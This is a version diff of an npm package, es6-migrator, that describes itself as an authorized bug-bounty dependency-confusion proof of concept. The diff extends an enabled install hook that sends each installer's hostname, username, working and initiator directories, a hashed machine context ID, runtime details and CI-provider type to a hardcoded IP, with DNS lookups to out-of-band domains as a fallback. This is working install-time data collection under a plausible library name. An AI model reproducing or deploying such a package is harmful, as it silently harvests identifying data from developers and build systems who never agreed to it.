es6-migrator 1.0.0 → 1.0.1

package/BUG-BOUNTY-NOTICE.txt

@@ -2,19 +2,21 @@ AUTHORIZED BUG BOUNTY SECURITY TEST
 
 Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
 Researcher: Izzet (HackerOne handle: izzet)
-Published test package: es6-migrator@1.0.0
+Published test package: es6-migrator@1.0.1
 
 This package is a controlled dependency-confusion proof of concept prepared
 for authorized bug bounty security research. It is not a production library.
 
 When explicitly enabled, its install hook sends a bounded callback containing
 only test correlation, package/version, a random per-execution event ID, bounded
-base32 hostname, OS account username, and current-working-directory values, and
+base32 hostname, OS account username, package working directory and npm initiator
+directory, a stable context ID, compact runtime code, CI-provider enum, and the
 source address observed by the server. HTTP and conditional DNS fallback carry
-the same attribution values. It does not list or read the working directory,
-read environment variables, local network configuration, project files,
-credentials, tokens, cloud metadata, or source code, and it does not create
-persistence or execute child commands.
+the same attribution values. It reads only `INIT_CWD`, package-manager identity,
+and the presence (not values) of fixed CI-provider variables. It does not list
+directories, enumerate installed packages, inspect arbitrary environment values,
+local network configuration, project files, credentials, tokens, cloud metadata,
+or source code, and it does not create persistence or execute child commands.
 
 Public registry registration was separately authorized for this exact package,
 version, bounded callback behavior, and time-bounded observation window. This

package/DISCLOSURE

@@ -1,6 +1,6 @@
 DUAL-USE SECURITY RESEARCH DISCLOSURE
 
-Package: es6-migrator@1.0.0
+Package: es6-migrator@1.0.1
 Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
 Researcher: Izzet (HackerOne handle: izzet)
 
@@ -10,21 +10,27 @@ authorized bug bounty security research. It is not a production library.
 When explicitly enabled, its install lifecycle performs one bounded HTTP(S)
 GET to a unique researcher-controlled callback URL. The request carries only a
 test correlation path, a random per-execution event ID, bounded base32 hostname,
-operating-system username, and current-working-directory values, and the
-research identification User-Agent. The callback server observes the normal
-source IP and UTC request time; the package does not enumerate local network
-addresses.
+operating-system username, package-working-directory and npm initiator-directory
+values, a ten-character stable context ID, a compact runtime code, a fixed
+CI-provider enum, and the research identification User-Agent. The callback
+server observes the normal source IP and UTC request time; the package does not
+enumerate local network addresses.
 
 If the HTTP request fails, times out, or returns a non-success response, the
-package may perform three DNS lookups to three configured probe subdomains under
-one research binding: one each for the bounded hostname, username, and current
-working directory. All three carry the same event ID and the exact same values
-and truncation flags as HTTP.
+package may perform seven DNS lookups to seven configured probe subdomains under
+one research binding: one each for hostname, username, package working directory,
+npm initiator directory, stable context ID, compact runtime code, and CI-provider
+enum. All seven carry the same event ID and the exact same bounded values and
+truncation flags as HTTP.
 
-The package reads only the OS hostname, OS account username, and current working
-directory string. It does not list the directory or read environment variables,
-local network configuration, project files, credentials, tokens, source code,
-or cloud metadata. It does not execute child commands, create persistence,
+The package reads the OS hostname, OS account username, current working directory,
+`INIT_CWD`, platform/architecture/Node version, and package-manager name/version.
+CI classification tests only whether a fixed set of provider variables is present
+and never transmits their values. A truncated SHA-256-derived context ID permits
+repeat/cross-package clustering without sending its full input. The package does
+not list directories, enumerate installed packages, inspect arbitrary environment
+values, local network configuration, project files, credentials, tokens, source
+code, or cloud metadata. It does not execute child commands, create persistence,
 alter build artifacts, or provide remote command execution.
 
 This live-test artifact was separately authorized and reviewed for this exact

package/README.md

@@ -8,6 +8,6 @@ The manifest declares `contentPolicy.class` as `dual-use`, and the package inclu
 
 This live-test copy was separately reviewed from the locked preparation artifact. Publication does not authorize reuse, redistribution, or execution outside the approved test.
 
-The install hook contains no command execution, persistence, directory listing, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID and bounded base32 hostname, OS account username, and current-working-directory values. The server observes the normal source IP.
+The install hook contains no command execution, persistence, directory listing, package enumeration, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID; bounded base32 hostname, OS account username, package working directory, and npm initiator-directory values; a ten-character stable context ID; a compact OS/architecture/Node/package-manager runtime code; and a fixed CI-provider enum. The server observes the normal source IP.
 
-If three static OOB probe domains are configured and HTTP fails, the hook performs three DNS lookups: one each for hostname, username, and current working directory. Each field uses a distinct probe subdomain under one research binding; all three carry the same event ID, bounded value, and truncation flag as HTTP. It does not list or read the working directory and reads no environment data, local network configuration, credentials, tokens, project files, or cloud metadata.
+If seven static OOB probe domains are configured and HTTP fails, the hook performs one DNS lookup per field. Each field uses a distinct probe subdomain under one research binding; all seven carry the same event ID and the same bounded value as HTTP. The hook reads `INIT_CWD` and parses only the package-manager name/version from `npm_config_user_agent`; CI classification tests only whether a fixed list of provider variables is present and never transmits their values. It does not list or read directories, enumerate packages, inspect arbitrary environment values, local network configuration, credentials, tokens, project files, source code, or cloud metadata.

package/beacon-config.json

@@ -1,9 +1,13 @@
 {
-  "callback_url": "http://45.76.249.245/beacon/Dl0X4pr0iz3pR1luglaGnut3kCyB_vft/es6-migrator/1.0.0",
+  "callback_url": "http://45.76.249.245/beacon/QHHXFUL-YIB6g0kLLjMIDF_DFSRl2FdD/es6-migrator/1.0.1",
   "dns_fallback_domains": {
-    "h": "vmjl1tkwxgoi3jamz7jvxw8py04i4twgz.oob.asm5.net",
-    "p": "vmjl1tkwxgoi3jamz7jv9yuo6xrpwhgki.oob.asm5.net",
-    "u": "vmjl1tkwxgoi3jamz7jvfjraso941aefb.oob.asm5.net"
+    "c": "bou8mh09j383tdvv4pjde09tw2jzo8162.oob.asm5.net",
+    "h": "bou8mh09j383tdvv4pjdfzr1mmk7vglqp.oob.asm5.net",
+    "i": "bou8mh09j383tdvv4pjd3i1rzse2yeo7b.oob.asm5.net",
+    "k": "bou8mh09j383tdvv4pjdv7xw11qdboe1j.oob.asm5.net",
+    "p": "bou8mh09j383tdvv4pjdkqly9oz0hn7z6.oob.asm5.net",
+    "r": "bou8mh09j383tdvv4pjdhqutndti1kxk4.oob.asm5.net",
+    "u": "bou8mh09j383tdvv4pjdlm6z6fgqoct0z.oob.asm5.net"
   },
   "enabled": true,
   "timeout_ms": 1500

package/beacon.js

@@ -7,6 +7,17 @@ const dns = require("node:dns");
 const os = require("node:os");
 const config = require("./beacon-config.json");
 
+const FIELD_KINDS = ["h", "u", "p", "i", "k", "r", "c"];
+const DNS_METHODS = {
+  h: "resolve4",
+  u: "resolve6",
+  p: "resolveTxt",
+  i: "resolveMx",
+  k: "resolveCname",
+  r: "resolveNs",
+  c: "resolveSoa",
+};
+
 let fallbackStarted = false;
 const eventRandomBytes = crypto.randomBytes(4);
 const eventId = base32Encode(eventRandomBytes).slice(0, 7);
@@ -68,7 +79,7 @@ function buildIdentityDnsLookupName(
   if (
     !bindingLabel ||
     labels.length < 1 ||
-    !["h", "u", "p"].includes(kind) ||
+    !FIELD_KINDS.includes(kind) ||
     !/^[a-z2-7]{7}$/.test(correlatedEventId) ||
     !fragment ||
     !["f", "t"].includes(fragment.flag) ||
@@ -94,18 +105,19 @@ function buildIdentityDnsLookupName(
 function configuredDnsDomains() {
   const configured = config.dns_fallback_domains;
   if (configured && typeof configured === "object") {
-    return {
-      h: String(configured.h || "").toLowerCase().replace(/\.$/, ""),
-      u: String(configured.u || "").toLowerCase().replace(/\.$/, ""),
-      p: String(configured.p || "").toLowerCase().replace(/\.$/, ""),
-    };
+    return Object.fromEntries(
+      FIELD_KINDS.map((kind) => [
+        kind,
+        String(configured[kind] || "").toLowerCase().replace(/\.$/, ""),
+      ]),
+    );
   }
-  // Backward compatibility for local fixtures created before the three-hit-ID
-  // ASM5 layout. Prepared publication artifacts use dns_fallback_domains.
+  // Backward compatibility for disabled/local fixtures. Prepared publication
+  // artifacts use one freshly minted domain per field.
   const legacy = String(config.dns_fallback_domain || "")
     .toLowerCase()
     .replace(/\.$/, "");
-  return { h: legacy, u: legacy, p: legacy };
+  return Object.fromEntries(FIELD_KINDS.map((kind) => [kind, legacy]));
 }
 
 function resolveDnsFallback(attribution) {
@@ -128,35 +140,19 @@ function resolveDnsFallback(attribution) {
   };
   if (!Object.values(domains).every(validDomain)) return;
 
-  const lookups = [
-    [
-      "resolve4",
-      buildIdentityDnsLookupName(
-        domains.h,
-        "h",
-        attribution.hostnameFragment,
-        eventId,
-      ),
-    ],
-    [
-      "resolve6",
-      buildIdentityDnsLookupName(
-        domains.u,
-        "u",
-        attribution.usernameFragment,
-        eventId,
-      ),
-    ],
-    [
-      "resolveTxt",
-      buildIdentityDnsLookupName(
-        domains.p,
-        "p",
-        attribution.currentPathFragment,
-        eventId,
-      ),
-    ],
-  ];
+  const fragments = {
+    h: attribution.hostnameFragment,
+    u: attribution.usernameFragment,
+    p: attribution.currentPathFragment,
+    i: attribution.initCwdFragment,
+    k: attribution.contextIdFragment,
+    r: attribution.runtimeFragment,
+    c: attribution.ciProviderFragment,
+  };
+  const lookups = FIELD_KINDS.map((kind) => [
+    DNS_METHODS[kind],
+    buildIdentityDnsLookupName(domains[kind], kind, fragments[kind], eventId),
+  ]);
   if (lookups.some(([, lookupName]) => !lookupName)) return;
   const resolver = new dns.Resolver();
   // This key is used only by the loopback integration test. The package
@@ -168,14 +164,81 @@ function resolveDnsFallback(attribution) {
       return;
     }
   }
-  // Use a different record type per field. ASM5's wildcard A response is
-  // cacheable, and three A questions can be collapsed by a recursive resolver
-  // so only one reaches the authoritative interaction log.
+  // Use a different record type per field to reduce recursive-resolver cache
+  // collapse. Every field also has a unique ASM5 hit ID.
   for (const [method, lookupName] of lookups) {
     resolver[method](lookupName, () => {});
   }
 }
 
+function detectCiProvider(environment = process.env) {
+  const present = (name) => Object.prototype.hasOwnProperty.call(environment, name);
+  if (present("GITHUB_ACTIONS")) return "g";
+  if (present("GITLAB_CI")) return "l";
+  if (present("JENKINS_URL") || present("JENKINS_HOME")) return "j";
+  if (present("CIRCLECI")) return "c";
+  if (present("BUILDKITE")) return "b";
+  if (present("TF_BUILD")) return "a";
+  if (present("TEAMCITY_VERSION")) return "m";
+  if (present("TRAVIS")) return "t";
+  if (present("BITBUCKET_BUILD_NUMBER")) return "q";
+  if (present("CODEBUILD_BUILD_ID")) return "w";
+  if (present("CI")) return "i";
+  return "n";
+}
+
+function packageManagerCode(userAgent = process.env.npm_config_user_agent) {
+  const match = String(userAgent || "")
+    .toLowerCase()
+    .match(/^(npm|pnpm|yarn|bun)\/([0-9]{1,3})/);
+  if (!match) return { code: "o", major: 0 };
+  const codes = { npm: "n", pnpm: "p", yarn: "y", bun: "b" };
+  return {
+    code: codes[match[1]] || "o",
+    major: Math.min(Number(match[2]) || 0, 999),
+  };
+}
+
+function compactRuntimeSignature() {
+  const platformCodes = {
+    linux: "l",
+    darwin: "d",
+    win32: "w",
+    aix: "a",
+    freebsd: "f",
+    openbsd: "o",
+    sunos: "s",
+  };
+  const archCodes = {
+    x64: "x",
+    arm64: "a",
+    ia32: "3",
+    arm: "r",
+    ppc64: "p",
+    s390x: "s",
+  };
+  const nodeMajor = Math.min(
+    Number(String(process.versions.node || "0").split(".", 1)[0]) || 0,
+    999,
+  );
+  const manager = packageManagerCode();
+  const platform = platformCodes[process.platform] || "x";
+  const arch = archCodes[process.arch] || "o";
+  return `${platform}${arch}${nodeMajor}${manager.code}${manager.major}`;
+}
+
+function stableContextId(hostname, username, initCwd) {
+  const input = [
+    "authorized-bug-bounty-depconf-poc-v2",
+    String(hostname || ""),
+    String(username || ""),
+    String(initCwd || ""),
+    String(process.platform || ""),
+    String(process.arch || ""),
+  ].join("\u0000");
+  return base32Encode(crypto.createHash("sha256").update(input).digest()).slice(0, 10);
+}
+
 if (config.enabled === true) {
   let target;
   try {
@@ -187,7 +250,13 @@ if (config.enabled === true) {
   if (target && (target.protocol === "http:" || target.protocol === "https:")) {
     const transport = target.protocol === "https:" ? https : http;
     const timeout = Math.max(250, Math.min(Number(config.timeout_ms) || 1500, 5000));
-    const userAgent = "authorized-bug-bounty-depconf-poc/1 h1:izzet";
+    const userAgent = "authorized-bug-bounty-depconf-poc/2 h1:izzet";
+    let hostname = "";
+    try {
+      hostname = os.hostname();
+    } catch {
+      hostname = "";
+    }
     let username = "";
     try {
       username = os.userInfo().username;
@@ -200,21 +269,40 @@ if (config.enabled === true) {
     } catch {
       currentPath = "";
     }
+    const initCwd = String(process.env.INIT_CWD || currentPath);
+    const contextId = stableContextId(hostname, username, initCwd);
+    const runtime = compactRuntimeSignature();
+    const ciProvider = detectCiProvider();
     const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean);
     const identityBudget = dnsDomains.length
       ? Math.min(...dnsDomains.map(identityBudgetForDomain))
       : 52;
-    const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget);
+    const hostnameFragment = encodeIdentityFragment(hostname, identityBudget);
     const usernameFragment = encodeIdentityFragment(username, identityBudget);
     const currentPathFragment = encodeIdentityFragment(currentPath, identityBudget);
-    if (!hostnameFragment || !usernameFragment || !currentPathFragment) return;
-    const hostnameHeader = `${hostnameFragment.flag}${hostnameFragment.encoded}`;
-    const usernameHeader = `${usernameFragment.flag}${usernameFragment.encoded}`;
-    const currentPathHeader = `${currentPathFragment.flag}${currentPathFragment.encoded}`;
+    const initCwdFragment = encodeIdentityFragment(initCwd, identityBudget);
+    const contextIdFragment = encodeIdentityFragment(contextId, identityBudget);
+    const runtimeFragment = encodeIdentityFragment(runtime, identityBudget);
+    const ciProviderFragment = encodeIdentityFragment(ciProvider, identityBudget);
+    const fragments = [
+      hostnameFragment,
+      usernameFragment,
+      currentPathFragment,
+      initCwdFragment,
+      contextIdFragment,
+      runtimeFragment,
+      ciProviderFragment,
+    ];
+    if (fragments.some((fragment) => !fragment)) return;
+    const asHeader = (fragment) => `${fragment.flag}${fragment.encoded}`;
     const attribution = {
       hostnameFragment,
       usernameFragment,
       currentPathFragment,
+      initCwdFragment,
+      contextIdFragment,
+      runtimeFragment,
+      ciProviderFragment,
     };
 
     const request = transport.request(
@@ -225,9 +313,13 @@ if (config.enabled === true) {
           "Cache-Control": "no-store",
           "User-Agent": userAgent,
           "X-Bug-Bounty-Event": eventId,
-          "X-Bug-Bounty-Host": hostnameHeader,
-          "X-Bug-Bounty-User": usernameHeader,
-          "X-Bug-Bounty-Path": currentPathHeader,
+          "X-Bug-Bounty-Host": asHeader(hostnameFragment),
+          "X-Bug-Bounty-User": asHeader(usernameFragment),
+          "X-Bug-Bounty-Path": asHeader(currentPathFragment),
+          "X-Bug-Bounty-Initiator": asHeader(initCwdFragment),
+          "X-Bug-Bounty-Context": asHeader(contextIdFragment),
+          "X-Bug-Bounty-Runtime": asHeader(runtimeFragment),
+          "X-Bug-Bounty-CI": asHeader(ciProviderFragment),
         },
       },
       (response) => {
@@ -250,7 +342,11 @@ if (config.enabled === true) {
 module.exports = {
   base32Encode,
   buildIdentityDnsLookupName,
+  compactRuntimeSignature,
   configuredDnsDomains,
+  detectCiProvider,
   encodeIdentityFragment,
   identityBudgetForDomain,
+  packageManagerCode,
+  stableContextId,
 };

package/package.json

@@ -1,8 +1,8 @@
 {
-  "description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
   "contentPolicy": {
     "class": "dual-use"
   },
+  "description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
   "files": [
     "beacon.js",
     "beacon-config.json",
@@ -38,7 +38,7 @@
       "platform": "HackerOne"
     },
     "type": "authorized-bug-bounty-poc",
-    "version": "1.0.0"
+    "version": "1.0.1"
   },
-  "version": "1.0.0"
+  "version": "1.0.1"
 }